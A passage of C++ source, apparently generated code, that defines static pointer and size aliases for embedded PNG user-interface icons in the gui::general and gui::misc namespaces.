static const unsigned char * _EXPANDCOMPONENTHOVER_PNG = files::gui::general::_EXPANDCOMPONENTHOVER_PNG;
static const size_t _EXPANDCOMPONENTHOVER_PNG_SIZE = files::gui::general::_EXPANDCOMPONENTHOVER_PNG_SIZE;
static const unsigned char * _INFORMATIONDIALOG_PNG = files::gui::general::_INFORMATIONDIALOG_PNG;
static const size_t _INFORMATIONDIALOG_PNG_SIZE = files::gui::general::_INFORMATIONDIALOG_PNG_SIZE;
static const unsigned char * _INSPECTIONSEYE_PNG = files::gui::general::_INSPECTIONSEYE_PNG;
static const size_t _INSPECTIONSEYE_PNG_SIZE = files::gui::general::_INSPECTIONSEYE_PNG_SIZE;
static const unsigned char * _EXTERNALTOOLSSMALL_PNG = files::gui::general::_EXTERNALTOOLSSMALL_PNG;
static const size_t _EXTERNALTOOLSSMALL_PNG_SIZE = files::gui::general::_EXTERNALTOOLSSMALL_PNG_SIZE;
static const unsigned char * _ADDFAVORITESLIST_PNG = files::gui::general::_ADDFAVORITESLIST_PNG;
static const size_t _ADDFAVORITESLIST_PNG_SIZE = files::gui::general::_ADDFAVORITESLIST_PNG_SIZE;
static const unsigned char * _CONFIGURABLEDEFAULT_PNG = files::gui::general::_CONFIGURABLEDEFAULT_PNG;
static const size_t _CONFIGURABLEDEFAULT_PNG_SIZE = files::gui::general::_CONFIGURABLEDEFAULT_PNG_SIZE;
static const unsigned char * _PIN_TAB_PNG = files::gui::general::_PIN_TAB_PNG;
static const size_t _PIN_TAB_PNG_SIZE = files::gui::general::_PIN_TAB_PNG_SIZE;
static const unsigned char * _IMPORTSETTINGS_PNG = files::gui::general::_IMPORTSETTINGS_PNG;
static const size_t _IMPORTSETTINGS_PNG_SIZE = files::gui::general::_IMPORTSETTINGS_PNG_SIZE;
static const unsigned char * _FLOATING_PNG = files::gui::general::_FLOATING_PNG;
static const size_t _FLOATING_PNG_SIZE = files::gui::general::_FLOATING_PNG_SIZE;
static const unsigned char * _HIDEDOWNHOVER_PNG = files::gui::general::_HIDEDOWNHOVER_PNG;
static const size_t _HIDEDOWNHOVER_PNG_SIZE = files::gui::general::_HIDEDOWNHOVER_PNG_SIZE;
static const unsigned char * _HIDEDOWN_DARK_PNG = files::gui::general::_HIDEDOWN_DARK_PNG;
static const size_t _HIDEDOWN_DARK_PNG_SIZE = files::gui::general::_HIDEDOWN_DARK_PNG_SIZE;
static const unsigned char * _UNMARKWEBROOT_PNG = files::gui::general::_UNMARKWEBROOT_PNG;
static const size_t _UNMARKWEBROOT_PNG_SIZE = files::gui::general::_UNMARKWEBROOT_PNG_SIZE;
static const unsigned char * _LOCATE_DARK_PNG = files::gui::general::_LOCATE_DARK_PNG;
static const size_t _LOCATE_DARK_PNG_SIZE = files::gui::general::_LOCATE_DARK_PNG_SIZE;
static const unsigned char * _AUTOHIDEOFF_PNG = files::gui::general::_AUTOHIDEOFF_PNG;
static const size_t _AUTOHIDEOFF_PNG_SIZE = files::gui::general::_AUTOHIDEOFF_PNG_SIZE;
static const unsigned char * _HIDETOOLWINDOWINACTIVE_PNG = files::gui::general::_HIDETOOLWINDOWINACTIVE_PNG;
static const size_t _HIDETOOLWINDOWINACTIVE_PNG_SIZE = files::gui::general::_HIDETOOLWINDOWINACTIVE_PNG_SIZE;
static const unsigned char * _HIDEDOWNPARTHOVER_PNG = files::gui::general::_HIDEDOWNPARTHOVER_PNG;
static const size_t _HIDEDOWNPARTHOVER_PNG_SIZE = files::gui::general::_HIDEDOWNPARTHOVER_PNG_SIZE;
static const unsigned char * _CREATENEWPROJECTFROMEXISTINGFILES_PNG = files::gui::general::_CREATENEWPROJECTFROMEXISTINGFILES_PNG;
static const size_t _CREATENEWPROJECTFROMEXISTINGFILES_PNG_SIZE = files::gui::general::_CREATENEWPROJECTFROMEXISTINGFILES_PNG_SIZE;
static const unsigned char * _INLINE_EDIT_PNG = files::gui::general::_INLINE_EDIT_PNG;
static const size_t _INLINE_EDIT_PNG_SIZE = files::gui::general::_INLINE_EDIT_PNG_SIZE;
static const unsigned char * _HIDELEFT_PNG = files::gui::general::_HIDELEFT_PNG;
static const size_t _HIDELEFT_PNG_SIZE = files::gui::general::_HIDELEFT_PNG_SIZE;
static const unsigned char * _READHELP_PNG = files::gui::general::_READHELP_PNG;
static const size_t _READHELP_PNG_SIZE = files::gui::general::_READHELP_PNG_SIZE;
static const unsigned char * _DOWNLOADPLUGIN_PNG = files::gui::general::_DOWNLOADPLUGIN_PNG;
static const size_t _DOWNLOADPLUGIN_PNG_SIZE = files::gui::general::_DOWNLOADPLUGIN_PNG_SIZE;
static const unsigned char * _EYE_OFF_PNG = files::gui::general::_EYE_OFF_PNG;
static const size_t _EYE_OFF_PNG_SIZE = files::gui::general::_EYE_OFF_PNG_SIZE;
static const unsigned char * _WEBROOT_PNG = files::gui::general::_WEBROOT_PNG;
static const size_t _WEBROOT_PNG_SIZE = files::gui::general::_WEBROOT_PNG_SIZE;
static const unsigned char * _LAYOUTEDITORPREVIEW_PNG = files::gui::general::_LAYOUTEDITORPREVIEW_PNG;
static const size_t _LAYOUTEDITORPREVIEW_PNG_SIZE = files::gui::general::_LAYOUTEDITORPREVIEW_PNG_SIZE;
static const unsigned char * _CONTEXTHELP_PNG = files::gui::general::_CONTEXTHELP_PNG;
static const size_t _CONTEXTHELP_PNG_SIZE = files::gui::general::_CONTEXTHELP_PNG_SIZE;
static const unsigned char * _TEMPLATEPROJECTSTRUCTURE_PNG = files::gui::general::_TEMPLATEPROJECTSTRUCTURE_PNG;
static const size_t _TEMPLATEPROJECTSTRUCTURE_PNG_SIZE = files::gui::general::_TEMPLATEPROJECTSTRUCTURE_PNG_SIZE;
static const unsigned char * _GEAR_PNG = files::gui::general::_GEAR_PNG;
static const size_t _GEAR_PNG_SIZE = files::gui::general::_GEAR_PNG_SIZE;
static const unsigned char * _REMOVE_PNG = files::gui::general::_REMOVE_PNG;
static const size_t _REMOVE_PNG_SIZE = files::gui::general::_REMOVE_PNG_SIZE;
static const unsigned char * _HIDELEFTHOVER_PNG = files::gui::general::_HIDELEFTHOVER_PNG;
static const size_t _HIDELEFTHOVER_PNG_SIZE = files::gui::general::_HIDELEFTHOVER_PNG_SIZE;
static const unsigned char * _AUTOHIDEOFFINACTIVE_PNG = files::gui::general::_AUTOHIDEOFFINACTIVE_PNG;
static const size_t _AUTOHIDEOFFINACTIVE_PNG_SIZE = files::gui::general::_AUTOHIDEOFFINACTIVE_PNG_SIZE;
static const unsigned char * _SPLITCENTERV_PNG = files::gui::general::_SPLITCENTERV_PNG;
static const size_t _SPLITCENTERV_PNG_SIZE = files::gui::general::_SPLITCENTERV_PNG_SIZE;
static const unsigned char * _EYE_DARK_PNG = files::gui::general::_EYE_DARK_PNG;
static const size_t _EYE_DARK_PNG_SIZE = files::gui::general::_EYE_DARK_PNG_SIZE;
static const unsigned char * _COLLAPSEALL_DARK_PNG = files::gui::general::_COLLAPSEALL_DARK_PNG;
static const size_t _COLLAPSEALL_DARK_PNG_SIZE = files::gui::general::_COLLAPSEALL_DARK_PNG_SIZE;
static const unsigned char * _PATHVARIABLES_PNG = files::gui::general::_PATHVARIABLES_PNG;
static const size_t _PATHVARIABLES_PNG_SIZE = files::gui::general::_PATHVARIABLES_PNG_SIZE;
static const unsigned char * _SPLITCENTERH_PNG = files::gui::general::_SPLITCENTERH_PNG;
static const size_t _SPLITCENTERH_PNG_SIZE = files::gui::general::_SPLITCENTERH_PNG_SIZE;
static const unsigned char * _HIDERIGHT_DARK_PNG = files::gui::general::_HIDERIGHT_DARK_PNG;
static const size_t _HIDERIGHT_DARK_PNG_SIZE = files::gui::general::_HIDERIGHT_DARK_PNG_SIZE;
static const unsigned char * _EXTERNALTOOLS_PNG = files::gui::general::_EXTERNALTOOLS_PNG;
static const size_t _EXTERNALTOOLS_PNG_SIZE = files::gui::general::_EXTERNALTOOLS_PNG_SIZE;
static const unsigned char * _PROJECTSETTINGS_PNG = files::gui::general::_PROJECTSETTINGS_PNG;
static const size_t _PROJECTSETTINGS_PNG_SIZE = files::gui::general::_PROJECTSETTINGS_PNG_SIZE;
static const unsigned char * _COLLAPSEALLHOVER_PNG = files::gui::general::_COLLAPSEALLHOVER_PNG;
static const size_t _COLLAPSEALLHOVER_PNG_SIZE = files::gui::general::_COLLAPSEALLHOVER_PNG_SIZE;
static const unsigned char * _TBHIDDEN_PNG = files::gui::general::_TBHIDDEN_PNG;
static const size_t _TBHIDDEN_PNG_SIZE = files::gui::general::_TBHIDDEN_PNG_SIZE;
static const unsigned char * _INLINE_EDIT_HOVERED_PNG = files::gui::general::_INLINE_EDIT_HOVERED_PNG;
static const size_t _INLINE_EDIT_HOVERED_PNG_SIZE = files::gui::general::_INLINE_EDIT_HOVERED_PNG_SIZE;
static const unsigned char * _PROJECTCONFIGURABLE_PNG = files::gui::general::_PROJECTCONFIGURABLE_PNG;
static const size_t _PROJECTCONFIGURABLE_PNG_SIZE = files::gui::general::_PROJECTCONFIGURABLE_PNG_SIZE;
static const unsigned char * _IMPORTPROJECT_PNG = files::gui::general::_IMPORTPROJECT_PNG;
static const size_t _IMPORTPROJECT_PNG_SIZE = files::gui::general::_IMPORTPROJECT_PNG_SIZE;
static const unsigned char * _COLLAPSECOMPONENTHOVER_PNG = files::gui::general::_COLLAPSECOMPONENTHOVER_PNG;
static const size_t _COLLAPSECOMPONENTHOVER_PNG_SIZE = files::gui::general::_COLLAPSECOMPONENTHOVER_PNG_SIZE;
static const unsigned char * _BALLOONWARNING_PNG = files::gui::general::_BALLOONWARNING_PNG;
static const size_t _BALLOONWARNING_PNG_SIZE = files::gui::general::_BALLOONWARNING_PNG_SIZE;
static const unsigned char * _RESET_PNG = files::gui::general::_RESET_PNG;
static const size_t _RESET_PNG_SIZE = files::gui::general::_RESET_PNG_SIZE;
static const unsigned char * _NOTIFICATIONINFORMATION_PNG = files::gui::general::_NOTIFICATIONINFORMATION_PNG;
static const size_t _NOTIFICATIONINFORMATION_PNG_SIZE = files::gui::general::_NOTIFICATIONINFORMATION_PNG_SIZE;
static const unsigned char * _ERROR_PNG = files::gui::general::_ERROR_PNG;
static const size_t _ERROR_PNG_SIZE = files::gui::general::_ERROR_PNG_SIZE;
static const unsigned char * _PASSWORDLOCK_PNG = files::gui::general::_PASSWORDLOCK_PNG;
static const size_t _PASSWORDLOCK_PNG_SIZE = files::gui::general::_PASSWORDLOCK_PNG_SIZE;
static const unsigned char * _DEBUG_PNG = files::gui::general::_DEBUG_PNG;
static const size_t _DEBUG_PNG_SIZE = files::gui::general::_DEBUG_PNG_SIZE;
static const unsigned char * _BALLOONINFORMATION_PNG = files::gui::general::_BALLOONINFORMATION_PNG;
static const size_t _BALLOONINFORMATION_PNG_SIZE = files::gui::general::_BALLOONINFORMATION_PNG_SIZE;
static const unsigned char * _MODIFIED_PNG = files::gui::general::_MODIFIED_PNG;
static const size_t _MODIFIED_PNG_SIZE = files::gui::general::_MODIFIED_PNG_SIZE;
static const unsigned char * _NOTIFICATIONWARNING_PNG = files::gui::general::_NOTIFICATIONWARNING_PNG;
static const size_t _NOTIFICATIONWARNING_PNG_SIZE = files::gui::general::_NOTIFICATIONWARNING_PNG_SIZE;
static const unsigned char * _PACKAGESTAB_PNG = files::gui::general::_PACKAGESTAB_PNG;
static const size_t _PACKAGESTAB_PNG_SIZE = files::gui::general::_PACKAGESTAB_PNG_SIZE;
static const unsigned char * _SPLITLEFT_PNG = files::gui::general::_SPLITLEFT_PNG;
static const size_t _SPLITLEFT_PNG_SIZE = files::gui::general::_SPLITLEFT_PNG_SIZE;
static const unsigned char * _ARROWDOWN_PNG = files::gui::general::_ARROWDOWN_PNG;
static const size_t _ARROWDOWN_PNG_SIZE = files::gui::general::_ARROWDOWN_PNG_SIZE;
static const unsigned char * _MOUSE_PNG = files::gui::general::_MOUSE_PNG;
static const size_t _MOUSE_PNG_SIZE = files::gui::general::_MOUSE_PNG_SIZE;
static const unsigned char * _TODODEFAULT_PNG = files::gui::general::_TODODEFAULT_PNG;
static const size_t _TODODEFAULT_PNG_SIZE = files::gui::general::_TODODEFAULT_PNG_SIZE;
static const unsigned char * _COLLAPSECOMPONENT_PNG = files::gui::general::_COLLAPSECOMPONENT_PNG;
static const size_t _COLLAPSECOMPONENT_PNG_SIZE = files::gui::general::_COLLAPSECOMPONENT_PNG_SIZE;
static const unsigned char * _HIDETOOLWINDOW_PNG = files::gui::general::_HIDETOOLWINDOW_PNG;
static const size_t _HIDETOOLWINDOW_PNG_SIZE = files::gui::general::_HIDETOOLWINDOW_PNG_SIZE;
static const unsigned char * _BALLOON_PNG = files::gui::general::_BALLOON_PNG;
static const size_t _BALLOON_PNG_SIZE = files::gui::general::_BALLOON_PNG_SIZE;
static const unsigned char * _TODOIMPORTANT_PNG = files::gui::general::_TODOIMPORTANT_PNG;
static const size_t _TODOIMPORTANT_PNG_SIZE = files::gui::general::_TODOIMPORTANT_PNG_SIZE;
static const unsigned char * _ADD_PNG = files::gui::general::_ADD_PNG;
static const size_t _ADD_PNG_SIZE = files::gui::general::_ADD_PNG_SIZE;
static const unsigned char * _AUTOSCROLLTOSOURCE_PNG = files::gui::general::_AUTOSCROLLTOSOURCE_PNG;
static const size_t _AUTOSCROLLTOSOURCE_PNG_SIZE = files::gui::general::_AUTOSCROLLTOSOURCE_PNG_SIZE;
static const unsigned char * _WEB_PNG = files::gui::general::_WEB_PNG;
static const size_t _WEB_PNG_SIZE = files::gui::general::_WEB_PNG_SIZE;
static const unsigned char * _EXPANDALL_DARK_PNG = files::gui::general::_EXPANDALL_DARK_PNG;
static const size_t _EXPANDALL_DARK_PNG_SIZE = files::gui::general::_EXPANDALL_DARK_PNG_SIZE;
static const unsigned char * _KEYMAP_PNG = files::gui::general::_KEYMAP_PNG;
static const size_t _KEYMAP_PNG_SIZE = files::gui::general::_KEYMAP_PNG_SIZE;
static const unsigned char * _HIDEWARNINGS_PNG = files::gui::general::_HIDEWARNINGS_PNG;
static const size_t _HIDEWARNINGS_PNG_SIZE = files::gui::general::_HIDEWARNINGS_PNG_SIZE;
static const unsigned char * _HIDEDOWNPART_PNG = files::gui::general::_HIDEDOWNPART_PNG;
static const size_t _HIDEDOWNPART_PNG_SIZE = files::gui::general::_HIDEDOWNPART_PNG_SIZE;
static const unsigned char * _SPLITDOWN_PNG = files::gui::general::_SPLITDOWN_PNG;
static const size_t _SPLITDOWN_PNG_SIZE = files::gui::general::_SPLITDOWN_PNG_SIZE;
static const unsigned char * _HIDERIGHTHOVER_PNG = files::gui::general::_HIDERIGHTHOVER_PNG;
static const size_t _HIDERIGHTHOVER_PNG_SIZE = files::gui::general::_HIDERIGHTHOVER_PNG_SIZE;
static const unsigned char * _HIDERIGHTPART_PNG = files::gui::general::_HIDERIGHTPART_PNG;
static const size_t _HIDERIGHTPART_PNG_SIZE = files::gui::general::_HIDERIGHTPART_PNG_SIZE;
static const unsigned char * _EXPANDALL_PNG = files::gui::general::_EXPANDALL_PNG;
static const size_t _EXPANDALL_PNG_SIZE = files::gui::general::_EXPANDALL_PNG_SIZE;
static const unsigned char * _EYE_PNG = files::gui::general::_EYE_PNG;
static const size_t _EYE_PNG_SIZE = files::gui::general::_EYE_PNG_SIZE;
static const unsigned char * _LOCATEHOVER_PNG = files::gui::general::_LOCATEHOVER_PNG;
static const size_t _LOCATEHOVER_PNG_SIZE = files::gui::general::_LOCATEHOVER_PNG_SIZE;
static const unsigned char * _GEARHOVER_PNG = files::gui::general::_GEARHOVER_PNG;
static const size_t _GEARHOVER_PNG_SIZE = files::gui::general::_GEARHOVER_PNG_SIZE;
static const unsigned char * _SPLITRIGHT_PNG = files::gui::general::_SPLITRIGHT_PNG;
static const size_t _SPLITRIGHT_PNG_SIZE = files::gui::general::_SPLITRIGHT_PNG_SIZE;
static const unsigned char * _GEAR_DARK_PNG = files::gui::general::_GEAR_DARK_PNG;
static const size_t _GEAR_DARK_PNG_SIZE = files::gui::general::_GEAR_DARK_PNG_SIZE;
static const unsigned char * _WEBSETTINGS_PNG = files::gui::general::_WEBSETTINGS_PNG;
static const size_t _WEBSETTINGS_PNG_SIZE = files::gui::general::_WEBSETTINGS_PNG_SIZE;
static const unsigned char * _CREATENEWPROJECT_PNG = files::gui::general::_CREATENEWPROJECT_PNG;
static const size_t _CREATENEWPROJECT_PNG_SIZE = files::gui::general::_CREATENEWPROJECT_PNG_SIZE;
static const unsigned char * _PROJECTTAB_PNG = files::gui::general::_PROJECTTAB_PNG;
static const size_t _PROJECTTAB_PNG_SIZE = files::gui::general::_PROJECTTAB_PNG_SIZE;
static const unsigned char * _LOCATE_PNG = files::gui::general::_LOCATE_PNG;
static const size_t _LOCATE_PNG_SIZE = files::gui::general::_LOCATE_PNG_SIZE;
static const unsigned char * _SETTINGS_PNG = files::gui::general::_SETTINGS_PNG;
static const size_t _SETTINGS_PNG_SIZE = files::gui::general::_SETTINGS_PNG_SIZE;
static const unsigned char * _TIP_PNG = files::gui::general::_TIP_PNG;
static const size_t _TIP_PNG_SIZE = files::gui::general::_TIP_PNG_SIZE;
static const unsigned char * _HIDEDOWN_PNG = files::gui::general::_HIDEDOWN_PNG;
static const size_t _HIDEDOWN_PNG_SIZE = files::gui::general::_HIDEDOWN_PNG_SIZE;
static const unsigned char * _ERRORDIALOG_PNG = files::gui::general::_ERRORDIALOG_PNG;
static const size_t _ERRORDIALOG_PNG_SIZE = files::gui::general::_ERRORDIALOG_PNG_SIZE;
static const unsigned char * _LAYOUTEDITORONLY_PNG = files::gui::general::_LAYOUTEDITORONLY_PNG;
static const size_t _LAYOUTEDITORONLY_PNG_SIZE = files::gui::general::_LAYOUTEDITORONLY_PNG_SIZE;
static const unsigned char * _HIDERIGHTPART_DARK_PNG = files::gui::general::_HIDERIGHTPART_DARK_PNG;
static const size_t _HIDERIGHTPART_DARK_PNG_SIZE = files::gui::general::_HIDERIGHTPART_DARK_PNG_SIZE;
static const unsigned char * _INSPECTIONSERROR_PNG = files::gui::general::_INSPECTIONSERROR_PNG;
static const size_t _INSPECTIONSERROR_PNG_SIZE = files::gui::general::_INSPECTIONSERROR_PNG_SIZE;
static const unsigned char * _TBSHOWN_PNG = files::gui::general::_TBSHOWN_PNG;
static const size_t _TBSHOWN_PNG_SIZE = files::gui::general::_TBSHOWN_PNG_SIZE;
static const unsigned char * _CONFIGURE_PNG = files::gui::general::_CONFIGURE_PNG;
static const size_t _CONFIGURE_PNG_SIZE = files::gui::general::_CONFIGURE_PNG_SIZE;
static const unsigned char * _TBSHOWN_DARK_PNG = files::gui::general::_TBSHOWN_DARK_PNG;
static const size_t _TBSHOWN_DARK_PNG_SIZE = files::gui::general::_TBSHOWN_DARK_PNG_SIZE;
static const unsigned char * _LAYOUTPREVIEWONLY_PNG = files::gui::general::_LAYOUTPREVIEWONLY_PNG;
static const size_t _LAYOUTPREVIEWONLY_PNG_SIZE = files::gui::general::_LAYOUTPREVIEWONLY_PNG_SIZE;
static const unsigned char * _EXPORTSETTINGS_PNG = files::gui::general::_EXPORTSETTINGS_PNG;
static const size_t _EXPORTSETTINGS_PNG_SIZE = files::gui::general::_EXPORTSETTINGS_PNG_SIZE;
static const unsigned char * _QUESTIONDIALOG_PNG = files::gui::general::_QUESTIONDIALOG_PNG;
static const size_t _QUESTIONDIALOG_PNG_SIZE = files::gui::general::_QUESTIONDIALOG_PNG_SIZE;
static const unsigned char * _DEFAULTKEYMAP_PNG = files::gui::general::_DEFAULTKEYMAP_PNG;
static const size_t _DEFAULTKEYMAP_PNG_SIZE = files::gui::general::_DEFAULTKEYMAP_PNG_SIZE;
static const unsigned char * _AUTOHIDEOFFPRESSED_PNG = files::gui::general::_AUTOHIDEOFFPRESSED_PNG;
static const size_t _AUTOHIDEOFFPRESSED_PNG_SIZE = files::gui::general::_AUTOHIDEOFFPRESSED_PNG_SIZE;
static const unsigned char * _WARNING_PNG = files::gui::general::_WARNING_PNG;
static const size_t _WARNING_PNG_SIZE = files::gui::general::_WARNING_PNG_SIZE;
static const unsigned char * _BALLOONERROR_PNG = files::gui::general::_BALLOONERROR_PNG;
static const size_t _BALLOONERROR_PNG_SIZE = files::gui::general::_BALLOONERROR_PNG_SIZE;
static const unsigned char * _HIDETOOLWINDOWINACTIVE_DARK_PNG = files::gui::general::_HIDETOOLWINDOWINACTIVE_DARK_PNG;
static const size_t _HIDETOOLWINDOWINACTIVE_DARK_PNG_SIZE = files::gui::general::_HIDETOOLWINDOWINACTIVE_DARK_PNG_SIZE;
static const unsigned char * _HIDELEFT_DARK_PNG = files::gui::general::_HIDELEFT_DARK_PNG;
static const size_t _HIDELEFT_DARK_PNG_SIZE = files::gui::general::_HIDELEFT_DARK_PNG_SIZE;
static const unsigned char * _EDITITEMINSECTION_PNG = files::gui::general::_EDITITEMINSECTION_PNG;
static const size_t _EDITITEMINSECTION_PNG_SIZE = files::gui::general::_EDITITEMINSECTION_PNG_SIZE;
static const unsigned char * _EXPANDCOMPONENT_PNG = files::gui::general::_EXPANDCOMPONENT_PNG;
static const size_t _EXPANDCOMPONENT_PNG_SIZE = files::gui::general::_EXPANDCOMPONENT_PNG_SIZE;
static const unsigned char * _TEMPLATEPROJECTSETTINGS_PNG = files::gui::general::_TEMPLATEPROJECTSETTINGS_PNG;
static const size_t _TEMPLATEPROJECTSETTINGS_PNG_SIZE = files::gui::general::_TEMPLATEPROJECTSETTINGS_PNG_SIZE;
static const unsigned char * _HIDELEFTPART_PNG = files::gui::general::_HIDELEFTPART_PNG;
static const size_t _HIDELEFTPART_PNG_SIZE = files::gui::general::_HIDELEFTPART_PNG_SIZE;
static const unsigned char * _MESSAGEHISTORY_PNG = files::gui::general::_MESSAGEHISTORY_PNG;
static const size_t _MESSAGEHISTORY_PNG_SIZE = files::gui::general::_MESSAGEHISTORY_PNG_SIZE;
static const unsigned char * _COLLAPSEALL_PNG = files::gui::general::_COLLAPSEALL_PNG;
static const size_t _COLLAPSEALL_PNG_SIZE = files::gui::general::_COLLAPSEALL_PNG_SIZE;
static const unsigned char * _OPENPROJECT_PNG = files::gui::general::_OPENPROJECT_PNG;
static const size_t _OPENPROJECT_PNG_SIZE = files::gui::general::_OPENPROJECT_PNG_SIZE;
static const unsigned char * _GEARPLAIN_DARK_PNG = files::gui::general::_GEARPLAIN_DARK_PNG;
static const size_t _GEARPLAIN_DARK_PNG_SIZE = files::gui::general::_GEARPLAIN_DARK_PNG_SIZE;
static const unsigned char * _GEARPLAIN_PNG = files::gui::general::_GEARPLAIN_PNG;
static const size_t _GEARPLAIN_PNG_SIZE = files::gui::general::_GEARPLAIN_PNG_SIZE;
static const unsigned char * _WARNINGDIALOG_PNG = files::gui::general::_WARNINGDIALOG_PNG;
static const size_t _WARNINGDIALOG_PNG_SIZE = files::gui::general::_WARNINGDIALOG_PNG_SIZE;
static const unsigned char * _SEARCHEVERYWHEREGEAR_PNG = files::gui::general::_SEARCHEVERYWHEREGEAR_PNG;
static const size_t _SEARCHEVERYWHEREGEAR_PNG_SIZE = files::gui::general::_SEARCHEVERYWHEREGEAR_PNG_SIZE;
}
namespace gui::misc
{
static const unsigned char * _LAYOUT_PNG = files::gui::misc::_LAYOUT_PNG;
static const size_t _LAYOUT_PNG_SIZE = files::gui::misc::_LAYOUT_PNG_SIZE;
static const unsigned char * _HIDEPASSED_PNG = files::gui::misc::_HIDEPASSED_PNG;
static const size_t _HIDEPASSED_PNG_SIZE = files::gui::misc::_HIDEPASSED_PNG_SIZE;
static const unsigned char * _ZOOMOUT_PNG = files::gui::misc::_ZOOMOUT_PNG;
static const size_t _ZOOMOUT_PNG_SIZE = files::gui::misc::_ZOOMOUT_PNG_SIZE;
static const unsigned char * _UPFOLDER_PNG = files::gui::misc::_UPFOLDER_PNG;
static const size_t _UPFOLDER_PNG_SIZE = files::gui::misc::_UPFOLDER_PNG_SIZE;
static const unsigned char * _CONFIGURATIONWARNING_PNG = files::gui::misc::_CONFIGURATIONWARNING_PNG;
static const size_t _CONFIGURATIONWARNING_PNG_SIZE = files::gui::misc::_CONFIGURATIONWARNING_PNG_SIZE;
static const unsigned char * _PACKAGE_PNG = files::gui::misc::_PACKAGE_PNG;
static const size_t _PACKAGE_PNG_SIZE = files::gui::misc::_PACKAGE_PNG_SIZE;
static const unsigned char * _HIDEIGNORED_PNG = files::gui::misc::_HIDEIGNORED_PNG;
static const size_t _HIDEIGNORED_PNG_SIZE = files::gui::misc::_HIDEIGNORED_PNG_SIZE;
static const unsigned char * _INCLUDENONSTARTEDTESTS_RERUN_PNG = files::gui::misc::_INCLUDENONSTARTEDTESTS_RERUN_PNG;
static const size_t _INCLUDENONSTARTEDTESTS_RERUN_PNG_SIZE = files::gui::misc::_INCLUDENONSTARTEDTESTS_RERUN_PNG_SIZE;
static const unsigned char * _TOOLWINDOWRUN_PNG = files::gui::misc::_TOOLWINDOWRUN_PNG;
static const size_t _TOOLWINDOWRUN_PNG_SIZE = files::gui::misc::_TOOLWINDOWRUN_PNG_SIZE;
static const unsigned char * _METHODDEFINED_PNG = files::gui::misc::_METHODDEFINED_PNG;
static const size_t _METHODDEFINED_PNG_SIZE = files::gui::misc::_METHODDEFINED_PNG_SIZE;
static const unsigned char * _SHOULDDEFINEMETHOD_PNG = files::gui::misc::_SHOULDDEFINEMETHOD_PNG;
static const size_t _SHOULDDEFINEMETHOD_PNG_SIZE = files::gui::misc::_SHOULDDEFINEMETHOD_PNG_SIZE;
static const unsigned char * _FOLDERCLOSED_PNG = files::gui::misc::_FOLDERCLOSED_PNG;
static const size_t _FOLDERCLOSED_PNG_SIZE = files::gui::misc::_FOLDERCLOSED_PNG_SIZE;
static const unsigned char * _FOLDER_PNG = files::gui::misc::_FOLDER_PNG;
static const size_t _FOLDER_PNG_SIZE = files::gui::misc::_FOLDER_PNG_SIZE;
static const unsigned char * _UNMARKWEBROOT_PNG = files::gui::misc::_UNMARKWEBROOT_PNG;
static const size_t _UNMARKWEBROOT_PNG_SIZE = files::gui::misc::_UNMARKWEBROOT_PNG_SIZE;
static const unsigned char * _COPYOFFOLDER_PNG = files::gui::misc::_COPYOFFOLDER_PNG;
static const size_t _COPYOFFOLDER_PNG_SIZE = files::gui::misc::_COPYOFFOLDER_PNG_SIZE;
static const unsigned char * _KEYMAPOTHER_PNG = files::gui::misc::_KEYMAPOTHER_PNG;
static const size_t _KEYMAPOTHER_PNG_SIZE = files::gui::misc::_KEYMAPOTHER_PNG_SIZE;
static const unsigned char * _APPLICATION_PNG = files::gui::misc::_APPLICATION_PNG;
static const size_t _APPLICATION_PNG_SIZE = files::gui::misc::_APPLICATION_PNG_SIZE;
static const unsigned char * _EXPORT_PNG = files::gui::misc::_EXPORT_PNG;
static const size_t _EXPORT_PNG_SIZE = files::gui::misc::_EXPORT_PNG_SIZE;
static const unsigned char * _NODESELECTIONMODE_PNG = files::gui::misc::_NODESELECTIONMODE_PNG;
static const size_t _NODESELECTIONMODE_PNG_SIZE = files::gui::misc::_NODESELECTIONMODE_PNG_SIZE;
static const unsigned char * _TESTPAUSED_PNG = files::gui::misc::_TESTPAUSED_PNG;
static const size_t _TESTPAUSED_PNG_SIZE = files::gui::misc::_TESTPAUSED_PNG_SIZE;
static const unsigned char * _SOURCEATEXCEPTION_PNG = files::gui::misc::_SOURCEATEXCEPTION_PNG;
static const size_t _SOURCEATEXCEPTION_PNG_SIZE = files::gui::misc::_SOURCEATEXCEPTION_PNG_SIZE;
static const unsigned char * _UNKNOWN_PNG = files::gui::misc::_UNKNOWN_PNG;
static const size_t _UNKNOWN_PNG_SIZE = files::gui::misc::_UNKNOWN_PNG_SIZE;
static const unsigned char * _SOURCEFOLDER_PNG = files::gui::misc::_SOURCEFOLDER_PNG;
static const size_t _SOURCEFOLDER_PNG_SIZE = files::gui::misc::_SOURCEFOLDER_PNG_SIZE;
static const unsigned char * _PRINT_PNG = files::gui::misc::_PRINT_PNG;
static const size_t _PRINT_PNG_SIZE = files::gui::misc::_PRINT_PNG_SIZE;
static const unsigned char * _TESTIGNORED_PNG = files::gui::misc::_TESTIGNORED_PNG;
static const size_t _TESTIGNORED_PNG_SIZE = files::gui::misc::_TESTIGNORED_PNG_SIZE;
static const unsigned char * _TREEOPEN_PNG = files::gui::misc::_TREEOPEN_PNG;
static const size_t _TREEOPEN_PNG_SIZE = files::gui::misc::_TREEOPEN_PNG_SIZE;
static const unsigned char * _DOCUMENTATION_PNG = files::gui::misc::_DOCUMENTATION_PNG;
static const size_t _DOCUMENTATION_PNG_SIZE = files::gui::misc::_DOCUMENTATION_PNG_SIZE;
static const unsigned char * _FOLDEROPEN_PNG = files::gui::misc::_FOLDEROPEN_PNG;
static const size_t _FOLDEROPEN_PNG_SIZE = files::gui::misc::_FOLDEROPEN_PNG_SIZE;
static const unsigned char * _NEWFOLDER_PNG = files::gui::misc::_NEWFOLDER_PNG;
static const size_t _NEWFOLDER_PNG_SIZE = files::gui::misc::_NEWFOLDER_PNG_SIZE;
static const unsigned char * _TESTTERMINATED_PNG = files::gui::misc::_TESTTERMINATED_PNG;
static const size_t _TESTTERMINATED_PNG_SIZE = files::gui::misc::_TESTTERMINATED_PNG_SIZE;
static const unsigned char * _TREECLOSED_PNG = files::gui::misc::_TREECLOSED_PNG;
static const size_t _TREECLOSED_PNG_SIZE = files::gui::misc::_TREECLOSED_PNG_SIZE;
static const unsigned char * _SNAPTOGRID_PNG = files::gui::misc::_SNAPTOGRID_PNG;
static const size_t _SNAPTOGRID_PNG_SIZE = files::gui::misc::_SNAPTOGRID_PNG_SIZE;
static const unsigned char * _ZOOMIN_PNG = files::gui::misc::_ZOOMIN_PNG;
static const size_t _ZOOMIN_PNG_SIZE = files::gui::misc::_ZOOMIN_PNG_SIZE;
